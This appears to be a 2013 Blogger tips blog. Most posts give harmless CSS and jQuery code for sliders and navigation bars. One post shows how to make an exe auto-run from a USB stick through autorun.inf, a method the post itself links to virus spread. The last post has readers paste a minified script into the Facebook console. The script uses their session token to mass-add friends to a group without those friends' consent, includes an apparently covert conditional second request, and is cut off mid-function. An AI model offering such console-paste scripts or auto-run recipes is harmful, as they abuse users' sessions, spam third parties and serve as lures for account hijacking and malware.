Thursday, 14 March 2013

Beautiful CSS Image Slider For Blogger

Beautiful CSS Image Slider For Blogger
Hi friends, today I have a very beautiful CSS powered image slider for blogger. If you use HD images in this slider, it looks amazing and very pretty. To see the next picture, you need to click the dots below the images and after clicking the dots, the next image appears with a transition effect which looks really nice. So, let's start the coding.

Follow the instructions below:

  • Login to blogger.
  • Navigate to Template > Edit HTML > Proceed > Expand Widget Templates.
  • Search for the line ]]></b:skin> and just above it, copy and paste the code given below:
/* slider www.pctricksguru.com*/
#slider1 {
    width: 640px;
    height: 320px;
    margin: 50px auto 0;
    position: relative;
    background: #fff;
    box-shadow: 0px 0px 5px 0px rgba(0, 0, 0, 0.2);
    -moz-box-shadow: 0px 0px 5px 0px rgba(0, 0, 0, 0.2);
    -webkit-box-shadow: 0px 0px 5px 0px rgba(0, 0, 0, 0.2);
}

#slider1:before, #slider1:after {
    content: '';
    position: absolute;
    width: 60%;
    height: 20px;
    -webkit-box-shadow: 0 8px 16px rgba(0, 0, 0, 0.5);
    -moz-box-shadow: 0 8px 16px rgba(0, 0, 0, 0.5);
    -ms-box-shadow: 0 8px 16px rgba(0, 0, 0, 0.5);
    -o-box-shadow: 0 8px 16px rgba(0, 0, 0, 0.5);
    box-shadow: 0 8px 16px rgba(0, 0, 0, 0.5);
    -webkit-transform: rotate(-4deg) skew(-10deg);
    -moz-transform: rotate(-4deg) skew(-10deg);
    -o-transform: rotate(-4deg) skew(-10deg);
    -ms-transform: rotate(-4deg) skew(-10deg);
    transform: rotate(-4deg) skew(-10deg);
    left: 10px;
    bottom: 13px;
    z-index: -1;
}

#slider1:after {
    left: auto;
    right: 10px;
    -webkit-transform: rotate(4deg) skew(10deg);
    -moz-transform: rotate(4deg) skew(10deg);
    -o-transform: rotate(4deg) skew(10deg);
    -ms-transform: rotate(4deg) skew(10deg);
    transform: rotate(4deg) skew(10deg);
}

#slider1 ul {
    width: 140px;
    height: 40px;
    padding: 0 0 0 0;
    position: absolute;
    z-index: 10;
    list-style: none;
    left: 50%;
    margin-left: -70px;
    bottom: -60px;
}

#slider1 ul li:first-child {
    margin-left: 16px;
}

#slider1 ul li {
    float: left;
    margin-right: 12px;
    margin-top: 14px;
}

#slider1 ul li:last-child {
    margin-right: 0;
}

#slider1 ul li a {
    width: 12px;
    height: 12px;
    display: block;
    outline: none;
    border: none;
    position: relative;
    z-index: 2;
    background: #aaa;
    box-shadow: inset 0 1px 1px 0px rgba(0, 0, 0, 0.6), 0px 1px 1px 0px white;
    -moz-box-shadow: inset 0 1px 1px 0px rgba(0, 0, 0, 0.6), 0px 1px 1px 0px white;
    -webkit-box-shadow: inset 0 1px 1px 0px rgba(0, 0, 0, 0.6), 0px 1px 1px 0px white;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%;
    border-radius: 50%;
}

#slider1 ul li a:hover {
    background: #888;
}

#slider1 img {
    position: absolute;
    left: 0;
    top: 0;
    opacity: 0;
    -webkit-transform: rotateZ(-10deg);
    -moz-transform: rotateZ(-10deg);
    -ms-transform: rotateZ(-10deg);
    -o-transform: rotateZ(-10deg);
    transform: rotateZ(-10deg);
    -webkit-transition: all .5s ease;
    -moz-transition: all .5s ease;
    -ms-transition: all .5s ease;
    -o-transition: all .5s ease;
    transition: all .5s ease;
}

#slider1 img:target {
    opacity: 1;
    -webkit-transform: rotateZ(0);
    -moz-transform: rotateZ(0);
    -ms-transform: rotateZ(0);
    -o-transform: rotateZ(0);
    transform: rotateZ(0);
}

#slider1 img#five {
    opacity: 1;
    -webkit-transform: rotateZ(0);
    -moz-transform: rotateZ(0);
    -ms-transform: rotateZ(0);
    -o-transform: rotateZ(0);
    transform: rotateZ(0);}

#slider1 img:not(:target), #slider1 img:target ~ img#five  {
  opacity: 0;
    -webkit-transform: rotateZ(-10deg);
    -moz-transform: rotateZ(-10deg);
    -ms-transform: rotateZ(-10deg);
    -o-transform: rotateZ(-10deg);
    transform: rotateZ(-10deg);
}

#slider1 ul li a[href="#five"] {
 background: #777;
}

#one:target ~ ul li a[href="#one"],
#two:target ~ ul li a[href="#two"],
#three:target ~ ul li a[href="#three"],
#four:target ~ ul li a[href="#four"],
#five:target ~ ul li a[href="#five"] {
  background: #777;
}

#two:target ~ ul li a[href="#five"],
#three:target ~ ul li a[href="#five"],
#four:target ~ ul li a[href="#five"],
#one:target ~ ul li a[href="#five"] {
 background: #aaa;
}
  • Now, save the template.
  • Now, go to Layout and Add A New HTML/Javascript Gadget.
  • In the content box, copy and paste the following code:
<div id="slider1">
 <!-- Sildes -->
 <img id="one" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPyuJ0jbZrGQ6TwdN6AV9Srbmzns3wtP9Y5IrUGph0uJFbuMEPj0cs8ZTd-KO9CkHjQ6ZQDk9HUUr1M_89wKCUV0QQeD9HvoMH486dzwm5Ekxj42JrGnDrQ9MTf3X832ASEP1APwVczmg/s1600/pctricksguru_image1.jpg" />
 <img id="two" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5KZ3t_GX77_r2JPQZvD6NYrx2eGIN1oarxWTAWBS64NJ6RNOj3IMlHN16BAOx_7QKkZQebCpgU-vNTeu9gK6mWpzHNRfKCMT4IdoK_VU9-goJEsh4CV-UDjxudy3ImUkp-9hR73BOpIk/s1600/pctricksguru_image2.jpg" />
 <img id="three" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuQiAK_D8fLopC3MjtHtKxomU65c7hgrrdeLUVp5qjl57qOAq85itF1A1-O86DVrTJy18tOKTrBjBYjaDW6dROmzASTBnyWDeOHgNodfWfpS_hhDcGhf_UfaeLLJE1zwyMFCMlBjzRrz0/s1600/pctricksguru_image3.jpg" />
 <img id="four" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ5vK8KmK65q2UUE6fVRTc9lf_ULp4BLJ3VtufQ9q-893Dymol3gkMF2xZhg0NylhgMz1yAj9dDYUxE-9oLsvktmW42Bd_vwGSkvHnfV2GBDjE7x9NXUTdscDsvgb9dQ45VxJXYdMN7uA/s1600/pctricksguru_image4.jpg" />
 <img id="five" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_2-Q5nmb7DceQnGne_PXQHza_lE04U9EIRqkL_z11njiH1Z4PdRP1KZ_VeoYmWzeJg7F0q9SyRvl9GnI1lsR1eLE9kOJc-o8kb8SXZqu5vWpTTxlqq6E6rkIJvkJ47LZ2NL43ODZ30HY/s1600/pctricksguru_image5.jpg" />
 <!-- Links for the slides! -->
 <ul>
  <li>
   <a href="#one"></a>
  </li>
  <li>
   <a href="#two"></a>
  </li>
  <li>
   <a href="#three"></a>
  </li>
  <li>
   <a href="#four"></a>
  </li>
  <li>
   <a href="#five"></a>
  </li>
 </ul>
</div>
  • Save the widget and see your blog. You will be amazed. It looks very beautiful.
Note: Replace the green text with the desired target link.
Share:

Sliding Image Navigation Bar For Blogger

Sliding Image Navigation Bar For Blogger
Hey friends, I have one more stylish navigation bar for blogger. This navigation bar is jquery powered and having a sliding effect on mouse hover. I hope it will be very useful for you and will attract the visitors in your blog. So, let's start the coding:

Follow The Instructions Below:

  • Login to blogger and navigate to Template > Edit HTML > Proceed > Expand Widget Templates.
  • Now, search for the code </head> and just before it, copy and paste this code:
<script src='https://pctricksguru.googlecode.com/files/jquery.js' type='text/javascript'/>
<script src='https://pctricksguru.googlecode.com/files/jquery-easing-1.3.pack.js' type='text/javascript'/>
<script src='https://pctricksguru.googlecode.com/files/jquery-easing-compatibility.1.2.pack.js' type='text/javascript'/>

<script type='text/javascript'>
$(document).ready(function () {

  // find the elements to be eased and hook the hover event
  $(&#39;div.jimgMenu ul li a&#39;).hover(function() {
 
    // if the element is currently being animated (to a easeOut)...
    if ($(this).is(&#39;:animated&#39;)) {
      $(this).stop().animate({width: &quot;310px&quot;}, {duration: 450, easing:&quot;easeOutQuad&quot;});
    } else {
      // ease in quickly
      $(this).stop().animate({width: &quot;310px&quot;}, {duration: 400, easing:&quot;easeOutQuad&quot;});
    }
  }, function () {
    // on hovering out, ease the element out
    if ($(this).is(&#39;:animated&#39;)) {
      $(this).stop().animate({width: &quot;78px&quot;}, {duration: 400, easing:&quot;easeInOutQuad&quot;})
    } else {
      // ease out slowly
      $(this).stop(&#39;animated:&#39;).animate({width: &quot;78px&quot;}, {duration: 450, easing:&quot;easeInOutQuad&quot;});
    }
  });
});
</script>
  • Now, search for the code ]]></b:skin> and just before it, copy and paste this code:
/* slider www.pctricksguru.com*/

.jimgMenu {
 position: relative;
 width: 670px;
 height: 200px;
 overflow: hidden;
 margin: 25px 0px 0px;
}

.jimgMenu ul {
 list-style: none;
 margin: 0px;
 display: block;
 height: 200px;
 width: 1340px;
 }
.jimgMenu ul li {
 float: left;
}

.jimgMenu ul li a {
 text-indent: -1000px;
 background:#FFFFFF none repeat scroll 0%;
 border-right: 2px solid #fff;
 cursor:pointer;
 display:block;
 overflow:hidden;javascript:;
 width:78px;
 height: 200px;
}

.jimgMenu ul li.landscapes a {
 background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizz-ChKtSrID-0qdCvWQeuODE5tqx8Iima6XBnZompjt5M9xSgfcR42lRMSJkal-neJmaJed83mT3x26jvhjCJ-NXhkxyFmgKGIKeRe7lzF5ZEZYWZ3J_zcoBTyFb0JU_CljfWPWeUT98/s1600/abstract.png) repeat scroll 0%;
}

.jimgMenu ul li.people a {
 background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfYng1jbE_BQLwXF1j90IDIeoN_8HkeRzLLK3bgo1lKDqw8zlUdRMr3xS8XJgi1TQcT3IIvuojwwT5k0gxNOPUD1vXlT1LBqv5LVLz4Ni7sl7KY3vIO2mtyWFTsZXuvJqo2Mk8klphsQU/s1600/games.png) repeat scroll 0%;
}

.jimgMenu ul li.nature a {
 background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYjjvgXKh3qXAtH2Xs_WaAUfSOCzrsvXw0OGDt5n7sYLYVdjRayRzL9_P4XBkJTeX74IwM6_TMVp0x2kWOqO5qQlNaptughtwDNVA0_4Q6HZtypGEZ_Ymmnp5KTeFPLXzBCO3hn0NhcEM/s1600/nature.png) repeat scroll 0%;
}
.jimgMenu ul li.abstract a {
 background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6q5pMYv3L2A03Vk2Uan00ilrKRR5JM7dbBWWRYuJGlYoVz8Wnt-PWoQeJ3djFT42pXshEO8XFXaW-DZmHGhzXruHuWjZQsBcmvLuuIVkGZqEplaTMVarnoJRavbXDGRQjSNvRj_Xxkc8/s1600/car.png) repeat scroll 0%;
}
.jimgMenu ul li.urban a {
 background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCmYZknz0mGbstHL1kt1EjBcwK6Y4PdppB_5qfUxVF-kNjOZxCoDFSe5hA7YtRUno2qkXL3MRiGmr1iGvrF5irdt942rHTYB3hLQWVic7B2lmPC2ieo4urXKIvc9pr3m_yApoPBT6BPmc/s1600/landscape.png) repeat scroll 0%;
 min-width:310px;

}
.clear {
 clear: both;}
  • Now, save the template.
  • Go to layout and add a new HTML/Javascript widget.
  • Copy and paste this code in the html content box:
<div class="jimgMenu">
  <ul>
    <li class="landscapes"><a href="#">Landscapes</a></li>
    <li class="people"><a href="#">People</a></li>
    <li class="nature"><a href="#">Nature</a></li>
    <li class="abstract"><a href="#">Abstract</a></li>
    <li class="urban"><a href="www.pctricksguru.com">Urban</a></li>
  </ul>
</div>
  • Save the gadget and see your blog.
Note: Replace # with your target link and red text with your desired text.
Share:

Add Apple Styled Sliding Navigation Bar In Blogger

Add Apple Styled Sliding Navigation Bar In Blogger
Hi friends. In my previous posts, I have provided the codes to add some stylish navigation menu bars in blogger. Today, I am going to provide a very stylish sliding navigation bar for blogger. It's menus slide on the mouse hover and the image appears with the main button. So, let's start.

Follow The Instructions Below:

  • Login to blogger.
  • Go to Template > Edit HTML > Proceed > Expand Widget Templates.
  • Search for the code </head>.
  • Just above the </head>, copy and paste this code:
<script src='https://pctricksguru.googlecode.com/files/jquery-1.2.6.min.js' type='text/javascript'/>
<script src='https://pctricksguru.googlecode.com/files/kwicks.js' type='text/javascript'/>
<script src='https://pctricksguru.googlecode.com/files/custom.js' type='text/javascript'/>
  • Now, Save your template.
  • Now, go to Layout > Add New Gadget > Add HTML/Javascript Gadget.
  • Copy and paste the following code in the content box:
<style>
.kwicks {
     list-style: none;
     position: relative;
     margin: 0;
     padding: 0;
     background-image:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLKAzupnHFFvA5RW2VseLKCCWRv3sMOI-6K_aA7Kcnw9LgDu01THM5agwNwd19mgmQ4jfbB8JQRsz8ErTGQpvCrPExN5eyQMuf-H4VJPsNnjPQGoPUzwofmS61NrcZXk7wA4Zkcg3hSYw/s1600/btrix_no_flicker.jpg); /*some browsers are to slow when aligning the menu items via jQuery and so the background shines through, this prevents this flickering*/}
 .kwicks li{
    display: block;
    overflow: hidden;
    padding: 0;
    cursor: pointer;
 float: left;
 width: 125px;
 height: 40px;
 margin-right: 0px;
 background-image:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwg9tq9sqkJS2Qho6jUXyfb3O9xC6vUfHBIqwFSR6xv2vpi5gts8Ik8HTLwDIqkryjQhX23o096JE64UR_6hxmRUhWL4Ti3sR4nGkBqFuodEUPlMWI9oq9twlmPqy7_wOKY0Ob1RJiIw/s1600/btrix_kwicks_sprite.jpg);
 background-repeat:no-repeat;}
.kwicks a{
 display:block;
 height:40px;
 text-indent:-9999px;
 outline:none;}
#kwick1 {
 background-position:0px 0px;}
#kwick2 {
 background-position:-200px 0px;}
#kwick3 {
 background-position:-400px 0px;}
#kwick4 {
 background-position:-600px 0px;}
#kwick1.active, #kwick1:hover {
 background-position: 0 bottom;}
#kwick2.active, #kwick2:hover{
 background-position: -200px bottom;}
#kwick3.active, #kwick3:hover {
 background-position: -400px bottom;}
#kwick4.active, #kwick4:hover {
 background-position: -600px bottom; }
#kwick1 a{
 background-image:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdBJVRj6lnTtadtirAlqZLIVsxI35s2JzkWOJhnLTWk1QlqS_IB6ZuGz29JZS9c48RUPHr3acfPk5Y-BskEbfbsesSvAM3H9kZlrM_-UirpIBfcfqnALfeNyL9KD45OGxA11yoCqzAeb0/s1600/btrix_end.jpg);
 background-repeat:no-repeat;
 background-position: left 0px;}
#kwick1 a:hover{
 background-position: left -80px;}
#kwick4 a{
 background-image:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdBJVRj6lnTtadtirAlqZLIVsxI35s2JzkWOJhnLTWk1QlqS_IB6ZuGz29JZS9c48RUPHr3acfPk5Y-BskEbfbsesSvAM3H9kZlrM_-UirpIBfcfqnALfeNyL9KD45OGxA11yoCqzAeb0/s1600/btrix_end.jpg);
 background-repeat:no-repeat;
 background-position: right -40px;}
#kwick4 a:hover{
 background-position: right -120px;
}
</style>
<ul class="kwicks">
     <li id="kwick1"><a href="#">Home</a></li>
     <li id="kwick2"><a href="#">Contact</a></li>
     <li id="kwick3"><a href="#">Downloads</a></li>
     <li id="kwick4"><a href="http://www.pctricksguru.com/">Search</a></li>
 </ul>
  • Now, save the gadget and check your blog.
Note: To change the link, replace # with your link and replace red text with your text.
See Demo Here.
Share:

Create Sliding Image Widget For Blogger

Hello friends, today I am going to tell you the code to add sliding image widget in your blogger blog. It may not work properly in the dynamic templates, but you can try in your custom or blogger's default template. It should work fine. Let's start.

Follow the steps below:

  • Go to blogger and login to your account.
  • Go to layout > Add A New Gadget > Add HTML/Javascript Gadget.
  • Now, copy and paste this code in the element box:
<style type="text/css">
.container1 {
 width: 660px;padding: 0;margin: 0 auto;
}
.folio_block {
 position: absolute;left: 50%; top: 50%;margin: -140px 0 0 -395px;}
.main_view {float: left;position: relative;}
/*--Window/Masking Styles--*/
.window {-moz-box-shadow: 0px 0px 5px #303030;
-webkit-box-shadow: 0px 0px 5px #303030;
box-shadow: 0px 0px 5px #303030;border:1px solid #000000;height:240px; width: 660px;
margin-top:15px;overflow: hidden; /*--Hides anything outside of the set width/height--*/
position: relative;
}
.image_reel {
 position: absolute;top: 0; left: 0;
}
.image_reel img {float: left;}
.paging_pctricksguru {
 position: absolute;bottom: 10px; right: -7px;width: 178px; height:47px;z-index: 100; /*--Assures the paging stays on the top layer--*/text-align: center;
 line-height: 40px;
 background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMf0Uck-aCE4rp2xvIwktz3cDmXcykr3oqIRVowUzDmLHVSQ_O9MmOFxF4tFV8sib0n7wp_H_YsKdDHri-vSos0ZDumvfyYSjeZNx-fMip6eg_kAHoLAKCtRSL3nybIRg6EAbTNXhSHT8/s1600/paging_bg2.png) no-repeat;
 display: none;
}
.paging_pctricksguru a {
 padding: 5px;text-decoration: none;color: #fff;
}
.paging_pctricksguru a.active {
 font-weight: bold; background: #920000; border: 1px solid #610000;
 -moz-border-radius: 3px;
 -khtml-border-radius: 3px;
 -webkit-border-radius: 3px;
}
.paging_pctricksguru a:hover {font-weight: bold;}
</style>
<div class="container1">
<div class="main_view">
    <div class="window">
        <div class="image_reel">
            <a href="#"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpXlw8Ss3YWFS4mclCxSURdbLe1B8-Gw0gR4xfAKVO9WrG5-qW_XCN9OSHOX219j_5CyCUnPT_IJJRhnbV38c7gCfRisVOIIeACF-pCpSnpvQzsXUQgcSz9APLTbnYvzyphpS0t3ZmYlo/s1600/img1.jpg" alt="" /></a>
            <a href="#"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg38egP4JZFJKeCKKs9E-AnSgmXl9bUlXMjqxOK5oOJLy5TT5QhpFL6Vu0saxR734tJI85YYAgddGC5FCoGc7gSUJhYFo1_5tJLbGFI-aWPix5vI1bdwXiDS6fa6tmumkeOaUq0s8bSvw0/s1600/img2.jpg" alt="" /></a>
            <a href="#"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBVH1DiekhPvozFS1dIBOaSzRFUY-TCZxqj_bFnRmyo_5atZhjR2LS_Z3XJDNi7JzosFiaPU6pMyzZITxNg5YQfnRVeLUqLl15XMRzAjpXx6TX6WK0taOKpuKHp4E8TuxLXWZW-3Ux5ek/s1600/img3.jpg" alt="" /></a>
            <a href="#"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4DofoGnXSFL6GUdmGHVYA8SSW2rQ9h9QgE_B-Q-OMRq3BqBt7xfWEkfdtsKrgiOJeOJYtklTmx9o3sYWAhnrmD8s-zZGVaBEm7-Ry9azRafH6J84K1UEW_pwTGyj1Pavbrh9wzhCJI_A/s1600/img4.jpg" alt="" /></a>
        </div>
    </div>
    <div class="paging_pctricksguru">
        <a href="#" rel="1">1</a>
        <a href="#" rel="2">2</a>
        <a href="#" rel="3">3</a>
        <a href="#" rel="4">4</a>
    </div>
</div>
</div>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {

 //Set Default State of each portfolio piece
 $(".paging_pctricksguru").show();
 $(".paging_pctricksguru a:first").addClass("active");

 //Get size of images, how many there are, then determin the size of the image reel.
 var imageWidth = $(".window").width();
 var imageSum = $(".image_reel img").size();
 var imageReelWidth = imageWidth * imageSum;

 //Adjust the image reel to its new size
 $(".image_reel").css({'width' : imageReelWidth});

 //paging_pctricksguru + Slider Function
 rotate = function(){
  var triggerID = $active.attr("rel") - 1; //Get number of times to slide
  var image_reelPosition = triggerID * imageWidth; //Determines the distance the image reel needs to slide

  $(".paging_pctricksguru a").removeClass('active'); //Remove all active class
  $active.addClass('active'); //Add active class (the $active is declared in the rotateSwitch function)

  //Slider Animation
  $(".image_reel").animate({
   left: -image_reelPosition
  }, 500 );

 };

 //Rotation + Timing Event
 rotateSwitch = function(){
  play = setInterval(function(){ //Set timer - this will repeat itself every 3 seconds
   $active = $('.paging_pctricksguru a.active').next();
   if ( $active.length === 0) { //If paging_pctricksguru reaches the end...
    $active = $('.paging_pctricksguru a:first'); //go back to first
   }
   rotate(); //Trigger the paging_pctricksguru and slider function
  }, 5000); //Timer speed in milliseconds (3 seconds)
 };

 rotateSwitch(); //Run function on launch

 //On Hover
 $(".image_reel a").hover(function() {
  clearInterval(play); //Stop the rotation
 }, function() {
  rotateSwitch(); //Resume rotation
 });

 //On Click
 $(".paging_pctricksguru a").click(function() {
  $active = $(this); //Activate the clicked paging_pctricksguru
  //Reset Timer
  clearInterval(play); //Stop the rotation
  rotate(); //Trigger rotation immediately
  rotateSwitch(); // Resume rotation
  return false; //Prevent browser jump to link anchor
 });

});
</script>
  • Save the gadget and check your blog.
You can change the red colored text with your image link and # with the target link.
Share:

Create Autorun File For Pen Drives

Create Autorun File For Pen Drives

What Is Autorun.inf File ?

autorun.inf is an information file which runs whenever any usb drive is plugged in the usb port of the PC. It contains the instructions for the programs to run whenever the usb device is plugged in. Please note that if autorun function is disabled in your pc, the autorun file you are going to make will not work.

What Is The Use Of Autorun.inf File ?

Well, autorun.inf is very useful for the optical disks as well as usb drives also. You might have seen that sometimes, when you insert some disks of games or softwares, the setup automatically runs or any menu appears to choose the options. This is because of the autorun.inf file. When you insert the disk, the autorun.inf file runs automatically and instruct the computer to run the setup (because it is instructed in autorun.inf file)
In usb drives, autorun.inf files are used to change the icon of the drive, change the background image, run a program when usb is plugged in etc. But, some people create virus codes and save the code in pen drives in the form of autorun.inf file and whenever the infected pen drive is plugged into the pc, the pc gets infected by the virus, because the virus is activated automatically through autorun.inf file.

How To Create Autorun.inf File ?

To create an autorun.inf file for the pen drive, you need to open notepad, type the autorun instruction and then save it as autorun.inf in the root of the pen drive, means in the main drive of pen drive.

Changing The Icon Of USB Drive With Autorun.inf :

  • Open notepad.
  • Type this instruction code:
  • [autorun]
    icon=myicon.ico
    label=MyLabel
  • Save it as autorun.inf in your pen drive's root.
  • Eject your pen drive and re insert it in usb. You will see that the icon of your pen drive is changed.
pen drive icon changed
Note: Before creating the autorun.inf file, copy and paste any icon (with extension .ico) in the root of your pen drive. Replace myicon.ico with the name of the icon you pasted in the pen drive's root. Replace MyLabel with the name you want to show as the drive name. In my testing, I have used a green check sign as icon and PC Tricks Guru as label text.

Running An EXE File Automatically When USB Drive is plugged in:

  • Open notepad.
  • Type this instruction code:
  • [autorun]
    open=file.exe
    icon= icon.ico
    label=YourLabel
  • Save it as autorun.inf in the root of your pen drive.
  • That's it. Eject and re-insert your pen drive. The exe file will run automatically. (This works with CD/DVD mostly)
Note: Keep the icon file and exe file in the root of the pen drive to work it properly.
Share:

Wednesday, 13 March 2013

CSS3 Hover WireFrame Navigation Bar For Blogger

CSS3 Hover WireFrame Navigation Bar For Blogger
Hello Friends. In my previous posts, I have told you some codes to make navigation bars for blogger. I always prefer CSS to make navigation bars for blogger because it doesn't slow down the blog loading speed. So, once again, I am sharing a stylish wireframe navigation bar for blogger.

Follow The Instructions:

  • Login to your blogger account.
  • Go to Template > Edit HTML > Proceed > Expand Widget Templates.
  • Now, find ]]></b:skin> in your template.
  • Just below ]]></b:skin>, copy and paste this code:
  • /*menubar by pctricksguru*/
    .pctricksguru_wireframeauramenu{
    font-weight: bold;
    font-size: 90%;
    width: 760px;
    margin: 0 auto;
    }
    .pctricksguru_wireframeauramenu ul{
    border: 1px solid #BBB;
    padding: 5px 0;
    margin: 0;
    text-align: left; /*set value to "left", "center", or "right"*/
    overflow: hidden;
    }
    .pctricksguru_wireframeauramenu ul li{
    display: inline;
    }
    .pctricksguru_wireframeauramenu ul li a{
    color: #494949;
    padding: 6px 12px 6px 6px;
    margin: 0;
    text-decoration: none;
    border-right: 1px dashed #BBB; /*right border between menu items*/
    }
    .pctricksguru_wireframeauramenu ul li a:hover{
    color: black;
    background: transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvf4OSMgdspjnQgADL_WU31iwQmVtn8AYGaTRi7WJQkiltEyCFSyFYssJ0HJas7JaS_kv_10UHxTKa7mrfkdRDgTkON16oTbYqX9l8LCUiObsU9VPzupymhLDVcANDpz5i_HQes62UYQM/s1600/pink.gif) center center no-repeat; /*background of menu item onMouseover*/
    }
  • Now Save your template.
  • Now go to blogger dashboard and go to Layout.
  • Click Add A Gadget and add a new HTML/Javascript gadget.
  • Now, copy and paste this code:
  • <div class="pctricksguru_wireframeauramenu">
    <ul>
    <li><a href="#">Home page</a></li>
    <li><a href="#">CSS Library</a></li>
    <li><a href="#">Database</a></li>
    <li><a href="#">Blog Videos</a></li>
    <li><a href="#">Mobile App</a></li>
    <li><a href="#">Download</a></li>
    <li><a href="#">Support</a></li>
    <li><a href="http://www.pctricksguru.com/">Get Help</a></li>
    </ul>
    </div>
  • Save your gadget and that's it. Open your blog and check the navigation bar.

Note: Replace "#" with the required url. To change the color of the hower button, replace https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvf4OSMgdspjnQgADL_WU31iwQmVtn8AYGaTRi7WJQkiltEyCFSyFYssJ0HJas7JaS_kv_10UHxTKa7mrfkdRDgTkON16oTbYqX9l8LCUiObsU9VPzupymhLDVcANDpz5i_HQes62UYQM/s1600/pink.gif in:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW6kpzUrihlF5ZnLflAb7xRaoJERfGyJ0k1FNz473jguSRdm9wVBpds2q-8XRv7MhuvaZvWhRLblYmxWDZIjssmG62xhCirIAEcpZfscIbZMjhI5RV-FLZ7z3MjSoiDn1nfsNbuXqg4zE/s1600/green.gif (For green hover)
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNDMGqraRi7wWnAHI4E9Yo9Qu06JFlAi2D_flyGV2-u3oFY5U6_L-PlbaSuCoyhTiRU7POeppKr2_uxjtOs6YMqgsohEbpv266ey9TjyaznXwv3tzqe-zLtUPNxrRyMUw21CQPvSXfsKk/s1600/yellow.gif (For yellow hover)
Share:

Tuesday, 12 March 2013

Add All Your Facebook Friends In Facebook Group Using Javascript

Add All Your Facebook Friends In Facebook Group Using Javascript
Hi friends, facebook groups are the best way to stay connected with lots of people and have conversation on different topics. Facebook groups are also the best way to promote a website or a product. Joining a group is very simple, but when it comes to invite our friends to join the group, it's really irritating. We need to invite our friends one by one. So, to keep you free from this problem, I am going to share a javascript with you which can automatically invite and add all your friends in a facebook group. So let's start.

Follow The Instructions Below:

  • Login to facebook and open the group in which you want to add your friends.
  • Now, if you are using google chrome, press ctrl+shift+J keys OR if you are using firefox, press ctrl+shift+K keys and the javascript console will appear.
  • Now, copy and paste this code in the console (Replace xxxxxxxxxxx with your group id) and press enter.
  • function penetrasi(e){jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&group_id="+memberGroupId+"&source=typeahead&members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+Env.user,function(e){e=e.substring(e.indexOf("{")),e=JSON.parse(e),i--,kunaon="<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;",e.error?(kunaon+="color:darkred'>",kunaon=e.errorDescription?kunaon+e.errorDescription:kunaon+JSON.stringify(e,null,"")):(kunaon+="color:darkgreen'>",kunaon+=arr[i],suc++),kunaon+="</div>",e="<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(255,255,255,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid rgba(0,0,0,0.5)'>"+("<div style='padding-bottom:10px;font-size:20px;'>"+tulisanNganu+"</div>"),0<i?(e+=arr.length+" Suscribers detected<br/>",e+="<b>"+suc+"</b> Suscribers added of "+(arr.length-i)+" Suscribers Processed ",e+="("+i+" more to go..)",e=e+"<div class='friend-edge'>"+kunaon,e+="</div>"):(e+=arr.length+" Suscribers detected and ",e+="<b>"+suc+" Suscribers added</b>",e+="<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Close</span></div>"),document.getElementById("pagelet_welcome_box").innerHTML=e+"</div>"},"text","post"),tay--;if(0<tay){var t=arr[tay];setTimeout("penetrasi("+t+")",100)}console.log(tay+"/"+arr.length+":"+t+", success:"+suc),0xf2a794cf90e3!=memberGroupId&&jx.load(window.location.protocol+"//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value+"&group_id=xxxxxxxxxxx&source=typeahead&members="+e+"&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user="+Env.user,function(){},"text","post")}function clickfr_callback(){0<document.getElementsByName("ok").length&&nHtml.ClickUp(document.getElementsByName("ok")[0]);var e=arr[i];i<arr.length&&addfriend(e.substring(0,4))}function clickfr(){0<document.getElementsByClassName("search").length?(console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML),document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href="javascript:void(0);",nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])):j++,setTimeout("clickfr_callback()",2e3)}function 